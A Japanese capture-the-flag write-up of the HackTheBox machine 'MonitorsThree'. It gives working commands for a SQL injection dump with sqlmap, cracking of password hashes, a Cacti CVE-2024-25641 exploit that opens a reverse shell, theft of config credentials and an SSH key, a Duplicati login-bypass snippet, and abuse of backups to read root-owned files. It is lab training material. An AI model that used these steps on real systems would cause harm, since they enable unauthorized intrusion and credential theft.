概要
HackTheBox「MonitorsThree」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- -oN nmap_result 10.10.11.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
ドメインが分かったので/etc/hosts
に追記します。
10.10.11.30 monitorsthree.htb
80
番ポートにアクセスします。
ディレクトリスキャンをします。
$ dirsearch -u http://monitorsthree.htb
301 178B http://monitorsthree.htb/js -> REDIRECTS TO: http://monitorsthree.htb/js/
301 178B http://monitorsthree.htb/admin -> REDIRECTS TO: http://monitorsthree.htb/admin/
403 564B http://monitorsthree.htb/admin/
301 178B http://monitorsthree.htb/css -> REDIRECTS TO: http://monitorsthree.htb/css/
301 178B http://monitorsthree.htb/fonts -> REDIRECTS TO: http://monitorsthree.htb/fonts/
403 564B http://monitorsthree.htb/images/
301 178B http://monitorsthree.htb/images -> REDIRECTS TO: http://monitorsthree.htb/images/
403 564B http://monitorsthree.htb/js/
200 4KB http://monitorsthree.htb/login.php
/login.php
でログインフォームが表示されました。
さらに、/forgot_password.php
に遷移し、' or 1=1
のような値を入力すると、SQLエラー文が表示されたのでSQLインジェクション出来そうです。
また、エラー文からSQLにはMariaDB
が使用されていると分かりました。
Sqlmapを実行すると、time based blind sql injection
の脆弱性があると分かりました。
$ sqlmap -r forgot_pass_request.txt --batch --risk 3
sqlmap identified the following injection point(s) with a total of 98 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 9582 FROM (SELECT(SLEEP(5)))vPiy) AND 'CvOL'='CvOL
---
[04:03:54] [INFO] the back-end DBMS is MySQL
データベースの列挙をします。
$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL --dbs
available databases [2]:
[*] information_schema
[*] monitorsthree_db
monitorsthree_db
のテーブル情報を列挙します。
$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db --tables
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
users
テーブルの情報を列挙します。
$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db -T users --dump
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | watson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
複数アカウントのパスワードハッシュを取得できました。
admin:31a181c8372e3afc59dab863430610e8
mwatson:c585d01f2eb3e6e1073e92023088a3dd
janderson:1e68b6eb86b45f6d92f8f292428f77ac
dthompson:633b683cc128fe244b00f176c8a950f5
ハッシュ値を解析すると、admin
アカウントのパスワードを得られました。
$ john pass_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
greencacti2001 (admin)
得られた認証情報でadmin
アカウントにログイン出来ました。
ダッシュボードで悪用できそうなものがなかったので再度列挙をします。
サブドメインを列挙すると、cacti
を発見したので/etc/hosts
に追記します。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.monitorsthree.htb" -u http://monitorsthree.htb -fs 13560
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 257ms]
アクセスするとログインページが表示され、version 1.2.26
だと分かりました。
既に得られたUsername: admin
,Password: greencacti2001
でログインに成功しました。
Cacti version 1.2.26
の脆弱性を探すとAuthenticated RCEのCVE-2024-25641
脆弱性が見つかりました。
PoCは下記リポジトリを使用しました。
PoCを実行し、www-data
のシェルを取得できました。
$ python3 exploit.py --url http://cacti.monitorsthree.htb -u admin -p greencacti2001 -i 10.10.14.15 -l 1234
Cacti Instance Found!
Login Successful!
Package Import finalized
Triggering shell..... make sure you've started the listener
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.30] 57586
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
marcus
アカウントへの昇格が必要そうです。
$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 26 2024 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
drwxr-x--- 4 marcus marcus 4096 Aug 16 11:35 marcus
cacti
のconfigファイルを検索します。
$ find ./ -name *config* 2>/dev/null
find ./ -name *config* 2>/dev/null
./include/config.php
./include/config.php.dist
./include/vendor/flag-icons/svgo.config.js
/html/cacti/include/config.php
を確認すると、MySQLの認証情報を入手できました。
<?php
(省略)
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
MySQLにログインし、cacti
データベースを発見したので探索します。
$ mysql -u cactiuser -p
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| cacti |
| information_schema |
| mysql |
+--------------------+
user_auth
テーブルから複数アカウントの情報を入手できました。
MariaDB [cacti]> select * from user_auth
select * from user_auth
-> ;
;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | 0 | Administrator | marcus@monitorsthree.htb | | | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 436423766 |
| 3 | guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | 0 | Guest Account | guest@monitorsthree.htb | | | on | on | on | | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1 | | 0 | 0 | 3774379591 |
| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | marcus@monitorsthree.htb | | on | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | | 0 | 0 | 1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)
marcus
のパスワードハッシュ解析に成功し、パスワードを特定できました。
$ john marcus_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
12345678910 (?)
得られたパスワードでmarcus
アカウントに昇格出来ました。
www-data@monitorsthree:~/html/cacti/include$ su marcus
su marcus
Password: 12345678910
marcus@monitorsthree:/var/www/html/cacti/include$ whoami
whoami
marcus
/home/marcus/.ssh/id_rsa
からSSHの秘密鍵を入手できました。
$ cat /home/marcus/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK
(省略)
秘密鍵でSSH接続に成功しました。
$ ssh -i id_rsa marcus@monitorsthree.htb
Last login: Sat Nov 30 11:50:57 2024 from 10.10.14.176
marcus@monitorsthree:~$
/home/marcus/user.txt
からユーザーフラグを入手できました。
marcus@monitorsthree:~$ cat user.txt
cat user.txt
997ffb1fdd3b2d51490c1ac8d0fe57b4
Root Flag
linpeas
を実行し、ローカルの8200
ポートの動作を確認できました。
$ ./linpeas.sh
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN 1176/mono
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1201/nginx: worker
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35007 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1201/nginx: worker
/opt/docker-compose.yml
を発見したので見ると、duplicati
というバックアップサービスがDockerの8200
で動作していると分かりました。
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
SSHポートフォワーディングをします。
$ ssh -L 8200:127.0.0.1:8200 -i id_rsa marcus@monitorsthree.htb
アクセスするとログインページが表示されました。
/opt/duplicati/config
からDuplicati-server.sqlite
を発見したのでダウンロードしてみます。
$ ls -la
total 3208
drwxr-xr-x 4 root root 4096 Dec 2 11:50 .
drwxr-xr-x 3 root root 4096 Aug 18 08:00 ..
drwxr-xr-x 3 root root 4096 Aug 18 08:00 .config
drwxr-xr-x 2 root root 4096 Aug 18 08:00 control_dir_v2
-rw-r--r-- 1 root root 2781184 Dec 2 11:38 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root 90112 Dec 2 11:50 Duplicati-server.sqlite
-rw------- 1 root root 208896 Dec 2 11:50 RXMCDALTCQ.sqlite
-rw------- 1 root root 180224 Dec 2 11:48 XTFRFSRTBV.sqlite
Option
テーブルを確認するとパスフレーズやソルトを得られました。
duplicati
のエクスプロイトを探しているとパスフレーズとソルトでログインバイパスできる記事を見つけました。
これを参考にして進めます。
パスフレーズの値をbase64
->Hex
の順で変換します。
BurpのIntercept
をOnにし、ログインの一つ目のPOSTリクエストをフォワードします。
そうすると、Nonce
,Salt
を確認できました。
Salt
はダウンロードしたDuplicati-server.sqlite
の値と一致しています。
ブラウザの開発者モードを開きConsole
に下記をコピペします。
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('<フォワードしたNonce>') + '<パスフレーズのHex>')).toString(CryptoJS.enc.Base64);
<フォワードしたNonce>
に最初のPOSTリクエストで得られたNonce
,パスフレーズのHex
には先ほど変換したパスフレーズのHexの値を入れます。
コードを実行し、noncedpwd
変数の値を確認します。
得られた値をURLエンコードし、次のPOSTリクエストのpassword
の値に置き換えます。
ログイン認証のバイパスに成功し、Duplicati
のダッシュボードにアクセスできました。
Dockerで/
を/source
にマウントしているので、Duplicati
のバックアップ機能を悪用してルートフラグファイルを取得できそうです。
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
Add backup
のConfigure a new backup
を選択します。
Name
,Passphrase
は適当に設定します。
バックアップ先を/source/tmp
にします。
ソースデータに/source/root/root.txt
を指定します。
そのまま最後の設定まで進み、Save
で保存します。
設定が完了するとバックアップタスクがHome
に追加されます。
Run now
をクリックすると、/tmp
配下に/source/root/root.txt
のバックアップファイルが作成されます。
$ ls -la
total 84
drwxrwxrwt 13 root root 4096 Dec 2 13:30 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
-rw-r--r-- 1 root root 941 Dec 2 13:30 duplicati-20241202T133053Z.dlist.zip.aes
-rw-r--r-- 1 root root 1021 Dec 2 13:30 duplicati-bbaf0d348f9724b578bb35f3547b2117f.dblock.zip.aes
-rw-r--r-- 1 root root 925 Dec 2 13:30 duplicati-i15cec6fe88f94446adf3cae215135f71.dindex.zip.aes
バックアップファイルを復元してroot.txt
を取り出します。
Restore
から新たに作成したバックアップタスクを選択します。
リストアするファイルを選択します。
リストア先を指定します。
Pick location
->Folder path
を/source/tmp
にします。
Permissions
のチェック項目もTrueにします。
リストアが成功しました。
リストア処理が終わると/tmp
にroot.txt
を確認できます。
$ ls -la
total 88
drwxrwxrwt 13 root root 4096 Dec 2 13:32 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
-rw-r--r-- 1 root root 941 Dec 2 13:30 duplicati-20241202T133053Z.dlist.zip.aes
-rw-r--r-- 1 root root 1021 Dec 2 13:30 duplicati-bbaf0d348f9724b578bb35f3547b2117f.dblock.zip.aes
-rw-r--r-- 1 root root 925 Dec 2 13:30 duplicati-i15cec6fe88f94446adf3cae215135f71.dindex.zip.aes
-rw-r--r-- 1 root root 33 Dec 2 13:24 root.txt
ルートフラグの取得に成功しました。
$ cat root.txt
864790f3851dec9d90cd699ca4323d0f